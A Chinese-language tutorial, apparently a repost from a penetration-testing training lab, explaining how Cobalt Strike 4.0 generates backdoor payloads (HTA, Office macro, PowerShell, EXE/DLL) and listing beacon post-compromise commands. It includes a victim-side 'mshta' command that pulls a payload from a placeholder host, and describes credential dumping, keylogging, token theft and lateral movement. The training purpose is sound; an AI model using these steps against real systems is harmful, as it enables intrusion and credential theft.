CobalStrike 4.0 生成后門幾種方式 及 主機上線后基礎操作


出品|MS08067實驗室(www.ms08067.com)

本文作者:BlackCat(Ms08067內網安全小組成員)

CobalStrike 4.0 生成后門幾種方式

步驟:Attacks—〉Packages—〉如下:

HTML Application 生成惡意的HTA木馬文件

MS Office Macro 生成office宏病毒文件

Payload Gene rator 生成各種語言版本的payload;

Windows Executable 生成可執行exe木馬;

Windows Executable⑸ 生成無狀態的可執行exe木馬。

1、HTML Application

生成惡意的HTA木馬文件

一個HTML Application (HTML應用)是一個使用HTML和一個Internet瀏覽器支持的腳本語言編寫的Windows程序。該程序包生成一個HTML應用,該應用運行一個CobaltSt rikepayload。你可以選擇可執行的選項來獲取一個HTML應用,此HTML應用使得一個可執行文件落地在磁盤上並運行它。

選擇PowerShell選項來得到一個HTML應用,該應用使用PowerShell來運行一個payload。使用VBA選項來靜默派生一個MicrosoftExcel實例並運行一個惡意的宏來將payload注入到內存中。

生成一個 HTML application

Attacks -> Packages -> Html Application

這里有三種工作方式

executable(生成可執行攻擊腳本)

powershell(生成一個powershell的腳本)

VBA(生成一個vba的腳本,使用mshta命令執行)

這里借鑒一個網上的方法,生成一個powershell,因為i兩外兩種方式上線不成功,然后配合host file使用。

然后會生成一個URL復制到

http://x.x.x.x:8008/download/file.ext

然后在受害者機器上運行

mshta http://x.x.x.x:8008/download/file.ext

然后CS端就可以收到上線了

2、MS Office Macro

該程序包生成一個MicrosoftOffice的宏文件並提供將宏嵌入Microsoft Word或Microsoft Excel的說明。這個參考我釣魚部分的宏文件制作部分的文章。

3、payload Generator

該程序包允許你以不同的多種格式導出Cobalt Strike的stager。

運行 Attacks -> packages --> payload generator

該模塊可以生成n種語言的后門Payload,包括C,C#,Python,Java,Perl,Powershell腳本,Powershell命 令,Ruby,Raw,免殺框架Veli中的shellcode等等…

滲透Windows主機過程中,用的比較多的就是Powershell和Powershell Command,主要是因為其方便 易用,且可以逃避一下殺毒軟件(AV)的查殺。

以Powe rshell Command為例,生成的payload為一串命令,只要在主機上執行這一串命令(主機需安 裝Powe rshell), cs即可收到主機的beacon

4、Windows Executable (Windows 可執行文件)

該程序包生成一個Windows可執行Ar tifact,用於傳送一個payload stage r。這個程序包為你提供了多種輸出選項。

Windows Serv ice EXE 是一個 Windows 可執行文件,可響應Service Cont rol Manage r命令。你可以使用這個可執行文件來作為使用sc命令起的Windows服務的調用程序,或使用Metasploit框架的PsExec模塊生成一個自定義的可執行文件。

也就是說,普通的EXE和服務器啟動調用的EXE是有區別是。利用Windows ServiceEXE生成的EXE才能用來作為服務自啟動的EXE,利用Cobalt Strike中Windows exe生成的EXE不能作為服 務自啟動的EXE程序(因為不能響應Service Control Manager)

Windows DLL (32-bit)是一個 x86 的 Windows DLL。

Windows DLL (64-bit)是一個x64的Windows DLL。這個DLL會派生一個32位的進程,並且將你的監聽器遷移至其上。這兩個DLL選項都會導出一個開始功能,此功能與rundll32 .exe相兼容。使用rundll32 .exe來從命令行加載你的DLL。勾選Use x64 payload框來生成匹配x64 stager的x64Ar tifact。勾選Sign executable file框來使用一個代碼簽名的證書來簽名一個EXE或DLL Ar tifact。你 必須指定一個證書,你必須在C2拓展文件中指定證書。

上面說了好多但是實踐非常簡單,只是需要確認下受害者的電腦是X64還是X32直接運行我們生成的exe文件

5、Windows Executable(s)

該程序包直接導出Beacon (也就是payload stage),這個Beacon是作者寫好的32或64位DLL,是一個不使用stager的可執行文件,直接和監聽器連接、傳輸數據和命令。一個不使用stager的payload Ar tifact被稱為無階段的Ar tifact。這個程序包也有Powe rShell選項來導出Beacon作為一個PowerShell腳本,或raw選項導出與位置無關的beacon代碼。

默認情況下,這個對話導出x86 payload stage。勾選Use x64 payload框來使用x64 Ar tifact生成一個x64 stage。勾選Sign executable file框來使用代碼簽名的證書來簽名一個EXE或DLL Artifact。

這里嘗試生成一個powershell馬

但是生成后直接運行不可行

這里要更改下他的策略

只有管理員才有權限更改這個策略。非管理員會報錯。查看腳本執行策略,可以通過:

PS E:> Get-ExecutionPolicy

更改腳本執行策略,可以通過

PS E:> Get-ExecutionPolicyRestrictedPS E:> Set-ExecutionPolicy UnRestricted

然后再次執行:



CS4.0上線機器后操作

右鍵菜單:

一、Interact

進入操作命令

二、Access

Dump Hashes # 獲取hash

Elevate #提權

Golden Ticket #生成黃金票據注入當前會話

Make token #憑證轉換

Run Mimikatz # 運行Mimikatz

Spawn As #用其他用戶生成Cobalt Strike偵聽器

三、Explore

Browser Pivot #劫持目標瀏覽器進程

Desktop(VNC) #桌面交互

File Browser #文件瀏覽器

Net View #命令Net View

Port Scan #端口掃描

Process List #進程列表

Screenshot # 截圖

四、Pivoting

SOCKS Server# 代理服務

Listener #反向端口轉發

Deploy VPN #部署VPN

五、Spawn

外部監聽器(如指派給MSF,獲取meterpreter權限)

六、Session

Note #備注

color #標注顏色

Remove #刪除

Sleep #指定被控端休眠時間,默認60秒一次回傳,讓被控端每10秒來下載一次任務。實際中頻率 不宜過快,容易被發現。(心跳時間)

Exit #退出



interact打開beacon后執行的操作:

  1. argue 進程參數欺騙

  2. blockdlls 阻⽌⼦進程加載⾮Microsoft DLL

  3. browserpivot 注⼊受害者瀏覽器進程

  4. bypassuac 繞過UAC提升權限

  5. cancel 取消正在進⾏的下載

  6. cd 切換⽬錄

  7. checkin 強制讓被控端回連⼀次

  8. clear 清除beacon內部的任務隊列

  9. connect Connect to a Beacon peer over TCP

  10. covertvpn 部署Covert VPN客戶端

  11. cp 復制⽂件

  12. dcsync 從DC中提取密碼哈希

  13. desktop 遠程桌⾯(VNC)

  14. dllinject 反射DLL注⼊進程

  15. dllload 使⽤LoadLibrary將DLL加載到進程中

  16. download 下載⽂件

  17. downloads 列出正在進⾏的⽂件下載

  18. drives 列出⽬標盤符

  19. elevate 使⽤exp

  20. execute 在⽬標上執⾏程序(⽆輸出

  21. execute-assembly 在⽬標上內存中執⾏本地.NET程序

  22. exit 終⽌beacon會話

  23. getprivs Enable system privileges on current token

  24. getsystem 嘗試獲取SYSTEM權限

  25. getuid 獲取⽤戶ID

  26. hashdump 轉儲密碼哈希值

  27. help 幫助

  28. inject 在注⼊進程⽣成會話

  29. jobkill 結束⼀個后台任務

  30. jobs 列出后台任務

  31. kerberos_ccache_use 從ccache⽂件中導⼊票據應⽤於此會話

  32. kerberos_ticket_purge 清除當前會話的票據

  33. kerberos_ticket_use Apply 從ticket⽂件中導⼊票據應⽤於此會話

  34. keylogger 鍵盤記錄

  35. kill 結束進程

  36. link Connect to a Beacon peer over a named pipe

  37. logonpasswords 使⽤mimikatz轉儲憑據和哈希值

  38. ls 列出⽂件

  39. make_token 創建令牌以傳遞憑據

  40. mimikatz 運⾏mimikatz

  41. mkdir 創建⼀個⽬錄

  42. mode dns 使⽤DNS A作為通信通道(僅限DNS beacon)

  43. mode dns-txt 使⽤DNS TXT作為通信通道(僅限D beacon)

  44. mode dns6 使⽤DNS AAAA作為通信通道(僅限DNS beacon)

  45. mode http 使⽤HTTP作為通信通道

  46. mv 移動⽂件

  47. net net命令

  48. note 備注

  49. portscan 進⾏端⼝掃描

  50. powerpick 通過Unmanaged PowerShell執⾏命令

  51. powershell 通過powershell.exe執⾏命令

  52. powershell-import 導⼊powershell腳本

  53. ppid Set parent PID for spawned post-ex jobs

  54. ps 顯示進程列表

  55. psexec Use a service to spawn a session on a host

  56. psexec_psh Use PowerShell to spawn a session on a host

  57. psinject 在特定進程中執⾏PowerShell命令

  58. pth 使⽤Mimikatz進⾏傳遞哈希

  59. pwd 當前⽬錄位置

  60. reg Query the registry

  61. rev2self 恢復原始令牌

  62. rm 刪除⽂件或⽂件夾

  63. rportfwd 端⼝轉發

  64. run 在⽬標上執⾏程序(返回輸出)

  65. runas 以其他⽤戶權限執⾏程序

  66. runasadmin 在⾼權限下執⾏程序

  67. runu Execute a program under another PID

  68. screenshot 屏幕截圖

  69. setenv 設置環境變量

  70. shell 執⾏cmd命令

  71. shinject 將shellcode注⼊進程

  72. shspawn 啟動⼀個進程並將shellcode注⼊其中

  73. sleep 設置睡眠延遲時間

  74. socks 啟動SOCKS4代理

  75. socks stop 停⽌SOCKS

  76. spawn Spawn a session

  77. spawnas Spawn a session as another user

  78. spawnto Set executable to spawn processes into

  79. spawnu Spawn a session under another PID

  80. ssh 使⽤ssh連接遠程主機

  81. ssh-key 使⽤密鑰連接遠程主機

  82. steal_token 從進程中竊取令牌

  83. timestomp 將⼀個⽂件的時間戳應⽤到另⼀個⽂件

  84. unlink Disconnect from parent Beacon

  85. upload 上傳⽂件

  86. wdigest 使⽤mimikatz轉儲明⽂憑據

  87. winrm 使⽤WinRM橫向滲透

  88. wmi 使⽤WMI橫向滲透

轉載請聯系作者並注明出處!

Ms08067安全實驗室專注於網絡安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java代碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術干貨,從零開始、以實戰落地為主,致力於做一個實用的干貨分享型公眾號。
官方網站:https://www.ms08067.com/

掃描下方二維碼加入實驗室VIP社區
加入后邀請加入內部VIP群,內部微信群永久有效!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM